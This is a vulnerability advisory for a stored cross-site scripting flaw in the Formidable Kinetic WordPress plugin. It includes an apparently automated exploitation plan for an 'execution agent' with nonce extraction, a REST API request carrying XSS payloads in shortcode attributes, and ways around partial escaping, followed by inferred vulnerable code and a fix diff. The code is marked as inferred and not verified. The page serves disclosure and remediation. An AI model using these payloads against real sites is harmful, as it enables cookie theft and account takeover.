CVE-2026-8871

Formidable Kinetic <= 1.1.01 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Formidable Kinetic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'kinetic_link' shortcode in versions up to, and including, 1.1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (notably 'window', 'class', and 'label') in the FrmKinetic::link() function, which are concatenated directly into HTML attributes of an anchor tag. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.01
PublishedMay 26, 2026
Last updatedMay 27, 2026
Affected pluginformidable-kinetic
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit **CVE-2026-8871**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Formidable Kinetic** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored XSS. * **Vulnerable Compone…

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2026-8871, a Stored Cross-Site Scripting (XSS) vulnerability in the Formidable Kinetic plugin.


1. Vulnerability Summary

  • Vulnerability: Authenticated (Contributor+) Stored XSS.
  • Vulnerable Component: The kinetic_link shortcode.
  • Vulnerable Function: FrmKinetic::link() (inferred).
  • Root Cause: The plugin fails to sanitize or escape user-provided shortcode attributes (window, class, and label) before concatenating them into the HTML output of an anchor (<a>) tag. Because shortcode attributes are not automatically escaped by WordPress, they must be escaped at the point of output (the "sink").

2. Attack Vector Analysis

  • Required Role: Contributor, Author, Editor, or Administrator. (Contributor is the lowest level capable of creating posts).
  • Injection Point: Post or Page content via the [kinetic_link] shortcode.
  • Payload Carrier: Shortcode attributes: window, class, and label.
  • Preconditions: The plugin must be active. A post containing the malicious shortcode must be published or previewed.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in the init hook:
    add_shortcode('kinetic_link', array('FrmKinetic', 'link'));
  2. Input Handling: When a post is viewed, WordPress parses the shortcode and passes an $atts array to FrmKinetic::link($atts).
  3. Vulnerable Processing: The function likely constructs an HTML string similar to:
    // Inferred logic inside FrmKinetic::link()
    $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>';
    return $output;
    
  4. Sink: The unescaped $output is returned and rendered in the browser.

4. Nonce Acquisition Strategy

While the vulnerability itself is triggered during rendering, the injection phase (creating/updating a post) via HTTP requires a WordPress nonce if done through the standard wp-admin interface or the REST API.

Strategy for the Execution Agent:

  1. Authentication: Log in to WordPress as a Contributor.
  2. Access Post Editor: Navigate to wp-admin/post-new.php.
  3. Extract Nonce:
    • If using the Classic Editor, extract the value of the hidden input name="_wpnonce".
    • If using the Block Editor (Gutenberg), the agent should use browser_eval to fetch the REST API nonce:
      browser_eval("wpApiSettings.nonce")
  4. Use the Nonce: Include this nonce in the X-WP-Nonce header (for REST API) or the _wpnonce POST body parameter (for standard form submission).

5. Exploitation Strategy

The goal is to inject an XSS payload that executes in the context of any user (including Administrators) who views the post.

Step 1: Create a Malicious Post (HTTP Request)

  • Method: POST
  • URL: http://<target>/wp-json/wp/v2/posts (REST API)
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <extracted_nonce>
  • Payload (JSON):
    {
      "title": "Kinetic Test",
      "status": "publish",
      "content": "[kinetic_link window='\" onmouseover=\"alert(document.cookie)\"' class='test' label='Click Me']"
    }
    
    Alternative Attribute Payloads:
    • window: ' onclick='alert(1)' (Break out of the target attribute).
    • label: <img src=x onerror=alert(1)> (Direct HTML injection if the label isn't escaped).

Step 2: Trigger the XSS

  • Navigate to the URL of the newly created post (returned in the Step 1 response).
  • The script will execute when the page loads (if using the label payload) or when a user interacts with the link (if using the window or class payloads).

6. Test Data Setup

  1. Plugin Installation: Ensure formidable-kinetic version <= 1.1.01 is installed and active.
  2. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password

7. Expected Results

  • The rendered HTML source of the post should contain:
    <a class="test" target="" onmouseover="alert(document.cookie)">Click Me</a>
  • When an Administrator views the post and hovers over the link, a JavaScript alert displaying their cookies should appear.

8. Verification Steps

  1. Check Post Content: Use WP-CLI to verify the shortcode is stored.
    wp post get <post_id> --field=post_content
  2. Verify Raw Output: Fetch the post HTML via HTTP and grep for the unescaped payload.
    http_request('GET', 'http://<target>/?p=<post_id>')
    Look for: onmouseover="alert

9. Alternative Approaches

  • Bypassing shortcode_atts: Even if the developer used shortcode_atts() to define defaults, that function does not sanitize the values. The vulnerability remains if the output is not escaped.
  • Bypassing esc_html: If the developer only used esc_html() on the entire string but forgot to use esc_attr() on individual attributes, it might still be possible to break out of attributes using single quotes (') if the attributes are wrapped in double quotes (or vice versa).
  • Gutenberg Blocks: If Formidable Kinetic uses blocks instead of or in addition to shortcodes, the same function FrmKinetic::link() might be reused for the block's render callback, making it vulnerable in the same way.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Formidable Kinetic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'kinetic_link' shortcode in versions up to 1.1.01. This occurs because the plugin fails to sanitize or escape shortcode attributes like 'window', 'class', and 'label' before concatenating them into an HTML anchor tag, allowing contributors to inject arbitrary JavaScript.

Vulnerable Code

// formidable-kinetic/classes/FrmKinetic.php (inferred path)
public static function link($atts) {
    $atts = shortcode_atts(array(
        'window' => '',
        'class'  => '',
        'label'  => '',
    ), $atts);

    // Vulnerable: concatenation without output escaping
    $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>';
    return $output;
}

Security Fix

--- classes/FrmKinetic.php
+++ classes/FrmKinetic.php
@@ -2,5 +2,5 @@
 public static function link($atts) {
     $atts = shortcode_atts(array(
         'window' => '',
         'class'  => '',
         'label'  => '',
     ), $atts);
-    $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>';
+    $output = '<a class="' . esc_attr($atts['class']) . '" target="' . esc_attr($atts['window']) . '">' . esc_html($atts['label']) . '</a>';
     return $output;
 }

Exploit Outline

To exploit this vulnerability, an attacker must have at least Contributor-level privileges to create or edit posts. The attacker inserts a [kinetic_link] shortcode into a post with a payload designed to break out of HTML attributes. For example, using [kinetic_link window='" onmouseover="alert(document.cookie)"' label='Click Here'] will result in the injection of an 'onmouseover' event handler into the rendered anchor tag. When any user, including an administrator, views the post and hovers over the link, the malicious JavaScript executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.